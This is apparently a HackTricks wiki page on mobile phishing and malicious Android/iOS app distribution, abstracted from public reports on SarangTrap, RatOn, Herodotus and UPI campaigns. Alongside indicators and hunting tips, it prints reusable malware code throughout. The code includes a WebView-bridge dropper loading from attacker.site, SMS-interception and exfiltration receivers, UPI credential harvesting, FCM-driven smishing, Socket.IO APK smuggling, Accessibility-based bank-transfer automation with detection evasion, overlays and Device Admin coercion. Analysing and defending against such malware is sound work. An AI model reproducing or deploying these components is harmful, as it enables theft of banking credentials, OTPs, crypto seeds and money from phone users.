Mobile Phishing & Malicious App Distribution (Android & iOS)
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
[!INFO] This page covers techniques used by threat actors to distribute malicious Android APKs and iOS mobile-configuration profiles through phishing (SEO, social engineering, fake stores, dating apps, etc.). The material is adapted from the SarangTrap campaign exposed by Zimperium zLabs (2025) and other public research.
Attack Flow
- SEO/Phishing Infrastructure
- Register dozens of look-alike domains (dating, cloud share, car service…).
– Use local language keywords and emojis in the<title>element to rank in Google.
– Host both Android (.apk) and iOS install instructions on the same landing page.
- Register dozens of look-alike domains (dating, cloud share, car service…).
- First Stage Download
- Android: direct link to an unsigned or “third-party store” APK.
- iOS:
itms-services://or plain HTTPS link to a malicious mobileconfig profile (see below).
- Post-install Social Engineering
- On first run the app asks for an invitation / verification code (exclusive access illusion).
- The code is POSTed over HTTP to the Command-and-Control (C2).
- C2 replies
{"success":true}➜ malware continues. - Sandbox / AV dynamic analysis that never submits a valid code sees no malicious behaviour (evasion).
- Runtime Permission Abuse (Android)
- Dangerous permissions are only requested after positive C2 response:
<uses-permission android:name="android.permission.READ_CONTACTS"/> <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <!-- Older builds also asked for SMS permissions --> - Recent variants remove
<uses-permission>for SMS fromAndroidManifest.xmlbut leave the Java/Kotlin code path that reads SMS through reflection ⇒ lowers static score while still functional on devices that grant the permission viaAppOpsabuse or old targets.
- Dangerous permissions are only requested after positive C2 response:
- Facade UI & Background Collection
- App shows harmless views (SMS viewer, gallery picker) implemented locally.
- Meanwhile it exfiltrates:
- IMEI / IMSI, phone number
- Full
ContactsContractdump (JSON array) - JPEG/PNG from
/sdcard/DCIMcompressed with Luban to reduce size - Optional SMS content (
content://sms) Payloads are batch-zipped and sent viaHTTP POST /upload.php.
- iOS Delivery Technique
- A single mobile-configuration profile can request
PayloadType=com.apple.sharedlicenses,com.apple.managedConfigurationetc. to enroll the device in “MDM”-like supervision. - Social-engineering instructions:
- Open Settings ➜ Profile downloaded.
- Tap Install three times (screenshots on the phishing page).
- Trust the unsigned profile ➜ attacker gains Contacts & Photo entitlement without App Store review.
- A single mobile-configuration profile can request
- Network Layer
- Plain HTTP, often on port 80 with HOST header like
api.<phishingdomain>.com. User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)(no TLS → easy to spot).
- Plain HTTP, often on port 80 with HOST header like
Red-Team Tips
- Dynamic Analysis Bypass – During malware assessment, automate the invitation code phase with Frida/Objection to reach the malicious branch.
- Manifest vs. Runtime Diff – Compare
aapt dump permissionswith runtimePackageManager#getRequestedPermissions(); missing dangerous perms is a red flag. - Network Canary – Configure
iptables -p tcp --dport 80 -j NFQUEUEto detect unsolid POST bursts after code entry. - mobileconfig Inspection – Use
security cms -D -i profile.mobileconfigon macOS to listPayloadContentand spot excessive entitlements.
Useful Frida Snippet: Auto-Bypass Invitation Code
Frida: auto-bypass invitation code
// frida -U -f com.badapp.android -l bypass.js --no-pause
// Hook HttpURLConnection write to always return success
Java.perform(function() {
var URL = Java.use('java.net.URL');
URL.openConnection.implementation = function() {
var conn = this.openConnection();
var HttpURLConnection = Java.use('java.net.HttpURLConnection');
if (Java.cast(conn, HttpURLConnection)) {
conn.getResponseCode.implementation = function(){ return 200; };
conn.getInputStream.implementation = function(){
return Java.use('java.io.ByteArrayInputStream').$new("{\"success\":true}".getBytes());
};
}
return conn;
};
});
Indicators (Generic)
/req/checkCode.php # invite code validation
/upload.php # batched ZIP exfiltration
LubanCompress 1.1.8 # "Luban" string inside classes.dex
Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern
This pattern has been observed in campaigns abusing government-benefit themes to steal Indian UPI credentials and OTPs. Operators chain reputable platforms for delivery and resilience.
Delivery chain across trusted platforms
- YouTube video lure → description contains a short link
- Shortlink → GitHub Pages phishing site imitating the legit portal
- Same GitHub repo hosts an APK with a fake “Google Play” badge linking directly to the file
- Dynamic phishing pages live on Replit; remote command channel uses Firebase Cloud Messaging (FCM)
Dropper with embedded payload and offline install
- First APK is an installer (dropper) that ships the real malware at
assets/app.apkand prompts the user to disable Wi‑Fi/mobile data to blunt cloud detection. - The embedded payload installs under an innocuous label (e.g., “Secure Update”). After install, both the installer and the payload are present as separate apps.
Static triage tip (grep for embedded payloads):
unzip -l sample.apk | grep -i "assets/app.apk"
# Or:
zipgrep -i "classes|.apk" sample.apk | head
Dynamic endpoint discovery via shortlink
- Malware fetches a plain-text, comma-separated list of live endpoints from a shortlink; simple string transforms produce the final phishing page path.
Example (sanitised):
GET https://rebrand.ly/dclinkto2
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
Transform: "gate.html" → "gate.htm" (loaded in WebView)
UPI credential POST: https://sqcepo.replit.app/addup.php
SMS upload: https://sqcepo.replit.app/addsm.php
Pseudo-code:
String csv = httpGet(shortlink);
String[] parts = csv.split(",");
String upiPage = parts[0].replace("gate.html", "gate.htm");
String smsPost = parts[1];
String credsPost = upiPage.replace("gate.htm", "addup.php");
WebView-based UPI credential harvesting
- The “Make payment of ₹1 / UPI‑Lite” step loads an attacker HTML form from the dynamic endpoint inside a WebView and captures sensitive fields (phone, bank, UPI PIN) which are
POSTed toaddup.php.
Minimal loader:
WebView wv = findViewById(R.id.web);
wv.getSettings().setJavaScriptEnabled(true);
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
Self-propagation and SMS/OTP interception
- Aggressive permissions are requested on first run:
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
- Contacts are looped to mass-send smishing SMS from the victim’s device.
- Incoming SMS are intercepted by a broadcast receiver and uploaded with metadata (sender, body, SIM slot, per-device random ID) to
/addsm.php.
Receiver sketch:
public void onReceive(Context c, Intent i){
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
for (SmsMessage m: msgs){
postForm(urlAddSms, new FormBody.Builder()
.add("senderNum", m.getOriginatingAddress())
.add("Message", m.getMessageBody())
.add("Slot", String.valueOf(getSimSlot(i)))
.add("Device rand", getOrMakeDeviceRand(c))
.build());
}
}
Firebase Cloud Messaging (FCM) as resilient C2
- The payload registers to FCM; push messages carry a
_typefield used as a switch to trigger actions (e.g., update phishing text templates, toggle behaviours).
Example FCM payload:
{
"to": "<device_fcm_token>",
"data": {
"_type": "update_texts",
"template": "New subsidy message..."
}
}
Handler sketch:
@Override
public void onMessageReceived(RemoteMessage msg){
String t = msg.getData().get("_type");
switch (t){
case "update_texts": applyTemplate(msg.getData().get("template")); break;
case "smish": sendSmishToContacts(); break;
// ... more remote actions
}
}
Indicators/IOCs
- APK contains secondary payload at
assets/app.apk - WebView loads payment from
gate.htmand exfiltrates to/addup.php - SMS exfiltration to
/addsm.php - Shortlink-driven config fetch (e.g.,
rebrand.ly/*) returning CSV endpoints - Apps labelled as generic “Update/Secure Update”
- FCM
datamessages with a_typediscriminator in untrusted apps
Socket.IO/WebSocket-based APK Smuggling + Fake Google Play Pages
Attackers increasingly replace static APK links with a Socket.IO/WebSocket channel embedded in Google Play–looking lures. This conceals the payload URL, bypasses URL/extension filters, and preserves a realistic install UX.
Typical client flow observed in the wild:
Socket.IO fake Play downloader (JavaScript)
// Open Socket.IO channel and request payload
const socket = io("wss://<lure-domain>/ws", { transports: ["websocket"] });
socket.emit("startDownload", { app: "com.example.app" });
// Accumulate binary chunks and drive fake Play progress UI
const chunks = [];
socket.on("chunk", (chunk) => chunks.push(chunk));
socket.on("downloadProgress", (p) => updateProgressBar(p));
// Assemble APK client‑side and trigger browser save dialog
socket.on("downloadComplete", () => {
const blob = new Blob(chunks, { type: "application/vnd.android.package-archive" });
const url = URL.createObjectURL(blob);
const a = document.createElement("a");
a.href = url; a.download = "app.apk"; a.style.display = "none";
document.body.appendChild(a); a.click();
});
Why it evades simple controls:
- No static APK URL is exposed; payload is reconstructed in memory from WebSocket frames.
- URL/MIME/extension filters that block direct .apk responses may miss binary data tunneled via WebSockets/Socket.IO.
- Crawlers and URL sandboxes that don’t execute WebSockets won’t retrieve the payload.
See also WebSocket tradecraft and tooling:
Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration – RatOn case study
The RatOn banker/RAT campaign (ThreatFabric) is a concrete example of how modern mobile phishing operations blend WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), crypto wallet takeover, and even NFC-relay orchestration. This section abstracts the reusable techniques.
Stage-1: WebView → native install bridge (dropper)
Attackers present a WebView pointing to an attacker page and inject a JavaScript interface that exposes a native installer. A tap on an HTML button calls into native code that installs a second-stage APK bundled in the dropper’s assets and then launches it directly.
Minimal pattern:
Stage-1 dropper minimal pattern (Java)
public class DropperActivity extends Activity {
@Override protected void onCreate(Bundle b){
super.onCreate(b);
WebView wv = new WebView(this);
wv.getSettings().setJavaScriptEnabled(true);
wv.addJavascriptInterface(new Object(){
@android.webkit.JavascriptInterface
public void installApk(){
try {
PackageInstaller pi = getPackageManager().getPackageInstaller();
PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
int id = pi.createSession(p);
try (PackageInstaller.Session s = pi.openSession(id);
InputStream in = getAssets().open("payload.apk");
OutputStream out = s.openWrite("base.apk", 0, -1)){
byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out);
}
PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
pi.commit(id, status.getIntentSender());
} catch (Exception e) { /* log */ }
}
}, "bridge");
setContentView(wv);
wv.loadUrl("https://attacker.site/install.html");
}
}
HTML on the page:
<button onclick="bridge.installApk()">Install</button>
After install, the dropper starts the payload via explicit package/activity:
Intent i = new Intent();
i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
startActivity(i);
Hunting idea: untrusted apps calling addJavascriptInterface() and exposing installer-like methods to WebView; APK shipping an embedded secondary payload under assets/ and invoking the Package Installer Session API.
Consent funnel: Accessibility + Device Admin + follow-on runtime prompts
Stage-2 opens a WebView that hosts an “Access” page. Its button invokes an exported method that navigates the victim to the Accessibility settings and requests enabling the rogue service. Once granted, malware uses Accessibility to auto-click through subsequent runtime permission dialogs (contacts, overlay, manage system settings, etc.) and requests Device Admin.
- Accessibility programmatically helps accept later prompts by finding buttons like “Allow”/“OK” in the node-tree and dispatching clicks.
- Overlay permission check/request:
if (!Settings.canDrawOverlays(ctx)) {
Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
Uri.parse("package:" + ctx.getPackageName()));
ctx.startActivity(i);
}
See also:
Overlay phishing/ransom via WebView
Operators can issue commands to:
- render a full-screen overlay from a URL, or
- pass inline HTML that is loaded into a WebView overlay.
Likely uses: coercion (PIN entry), wallet opening to capture PINs, ransom messaging. Keep a command to ensure overlay permission is granted if missing.
Remote control model – text pseudo-screen + screen-cast
- Low-bandwidth: periodically dump the Accessibility node tree, serialize visible texts/roles/bounds and send to C2 as a pseudo-screen (commands like
txt_screenonce andscreen_livecontinuous). - High-fidelity: request MediaProjection and start screen-casting/recording on demand (commands like
display/record).
ATS playbook (bank app automation)
Given a JSON task, open the bank app, drive the UI via Accessibility with a mix of text queries and coordinate taps, and enter the victim’s payment PIN when prompted.
Example task:
{
"cmd": "transfer",
"receiver_address": "ACME s.r.o.",
"account": "123456789/0100",
"amount": "24500.00",
"name": "ACME"
}
Example texts seen in one target flow (CZ → EN):
- “Nová platba” → “New payment”
- “Zadat platbu” → “Enter payment”
- “Nový příjemce” → “New recipient”
- “Domácí číslo účtu” → “Domestic account number”
- “Další” → “Next”
- “Odeslat” → “Send”
- “Ano, pokračovat” → “Yes, continue”
- “Zaplatit” → “Pay”
- “Hotovo” → “Done”
Operators can also check/raise transfer limits via commands like check_limit and limit that navigate the limits UI similarly.
Crypto wallet seed extraction
Targets like MetaMask, Trust Wallet, Blockchain.com, Phantom. Flow: unlock (stolen PIN or provided password), navigate to Security/Recovery, reveal/show seed phrase, keylog/exfiltrate it. Implement locale-aware selectors (EN/RU/CZ/SK) to stabilise navigation across languages.
Device Admin coercion
Device Admin APIs are used to increase PIN-capture opportunities and frustrate the victim:
- Immediate lock:
dpm.lockNow();
- Expire current credential to force change (Accessibility captures new PIN/password):
dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
- Force non-biometric unlock by disabling keyguard biometric features:
dpm.setKeyguardDisabledFeatures(admin,
DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);
Note: Many DevicePolicyManager controls require Device Owner/Profile Owner on recent Android; some OEM builds may be lax. Always validate on target OS/OEM.
NFC relay orchestration (NFSkate)
Stage-3 can install and launch an external NFC-relay module (e.g., NFSkate) and even hand it an HTML template to guide the victim during the relay. This enables contactless card-present cash-out alongside online ATS.
Background: NFSkate NFC relay.
Operator command set (sample)
- UI/state:
txt_screen,screen_live,display,record - Social:
send_push,Facebook,WhatsApp - Overlays:
overlay(inline HTML),block(URL),block_off,access_tint - Wallets:
metamask,trust,blockchain,phantom - ATS:
transfer,check_limit,limit - Device:
lock,expire_password,disable_keyguard,home,back,recents,power,touch,swipe,keypad,tint,sound_mode,set_sound - Comms/Recon:
update_device,send_sms,replace_buffer,get_name,add_contact - NFC:
nfs,nfs_inject
Accessibility-driven ATS anti-detection: human-like text cadence and dual text injection (Herodotus)
Threat actors increasingly blend Accessibility-driven automation with anti-detection tuned against basic behaviour biometrics. A recent banker/RAT shows two complementary text-delivery modes and an operator toggle to simulate human typing with randomized cadence.
- Discovery mode: enumerate visible nodes with selectors and bounds to precisely target inputs (ID, text, contentDescription, hint, bounds) before acting.
- Dual text injection:
- Mode 1 –
ACTION_SET_TEXTdirectly on the target node (stable, no keyboard); - Mode 2 – clipboard set +
ACTION_PASTEinto the focused node (works when direct setText is blocked).
- Mode 1 –
- Human-like cadence: split the operator-provided string and deliver it character-by-character with randomized 300–3000 ms delays between events to evade “machine-speed typing” heuristics. Implemented either by progressively growing the value via
ACTION_SET_TEXT, or by pasting one char at a time.
Java sketch: node discovery + delayed per-char input via setText or clipboard+paste
// Enumerate nodes (HVNCA11Y-like): text, id, desc, hint, bounds
void discover(AccessibilityNodeInfo r, List<String> out){
if (r==null) return; Rect b=new Rect(); r.getBoundsInScreen(b);
CharSequence id=r.getViewIdResourceName(), txt=r.getText(), cd=r.getContentDescription();
out.add(String.format("cls=%s id=%s txt=%s desc=%s b=%s",
r.getClassName(), id, txt, cd, b.toShortString()));
for(int i=0;i<r.getChildCount();i++) discover(r.getChild(i), out);
}
// Mode 1: progressively set text with randomized 300–3000 ms delays
void sendTextSetText(AccessibilityNodeInfo field, String s) throws InterruptedException{
String cur = "";
for (char c: s.toCharArray()){
cur += c; Bundle b=new Bundle();
b.putCharSequence(AccessibilityNodeInfo.ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, cur);
field.performAction(AccessibilityNodeInfo.ACTION_SET_TEXT, b);
Thread.sleep(300 + new java.util.Random().nextInt(2701));
}
}
// Mode 2: clipboard + paste per-char with randomized delays
void sendTextPaste(AccessibilityService svc, AccessibilityNodeInfo field, String s) throws InterruptedException{
field.performAction(AccessibilityNodeInfo.ACTION_FOCUS);
ClipboardManager cm=(ClipboardManager) svc.getSystemService(Context.CLIPBOARD_SERVICE);
for (char c: s.toCharArray()){
cm.setPrimaryClip(ClipData.newPlainText("x", Character.toString(c)));
field.performAction(AccessibilityNodeInfo.ACTION_PASTE);
Thread.sleep(300 + new java.util.Random().nextInt(2701));
}
}
Blocking overlays for fraud cover:
- Render a full-screen
TYPE_ACCESSIBILITY_OVERLAYwith operator-controlled opacity; keep it opaque to the victim while remote automation proceeds underneath. - Commands typically exposed:
opacityOverlay <0..255>,sendOverlayLoading <html/url>,removeOverlay.
Minimal overlay with adjustable alpha:
View v = makeOverlayView(ctx); v.setAlpha(0.92f); // 0..1
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY,
WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE |
WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL,
PixelFormat.TRANSLUCENT);
wm.addView(v, lp);
Operator control primitives often seen: BACK, HOME, RECENTS, CLICKTXT/CLICKDESC/CLICKELEMENT/CLICKHINT, TAP/SWIPE, NOTIFICATIONS, OPNPKG, VNC/VNCA11Y (screen sharing).
References
-
New Android Malware Herodotus Mimics Human Behaviour to Evade Detection
-
Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)
-
The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)
-
Banker Trojan Targeting Indonesian and Vietnamese Android Users (DomainTools)
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
HackTricks

